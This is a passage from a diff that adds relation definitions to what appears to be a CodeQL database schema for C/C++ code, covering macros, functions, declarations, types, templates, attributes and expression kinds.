indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 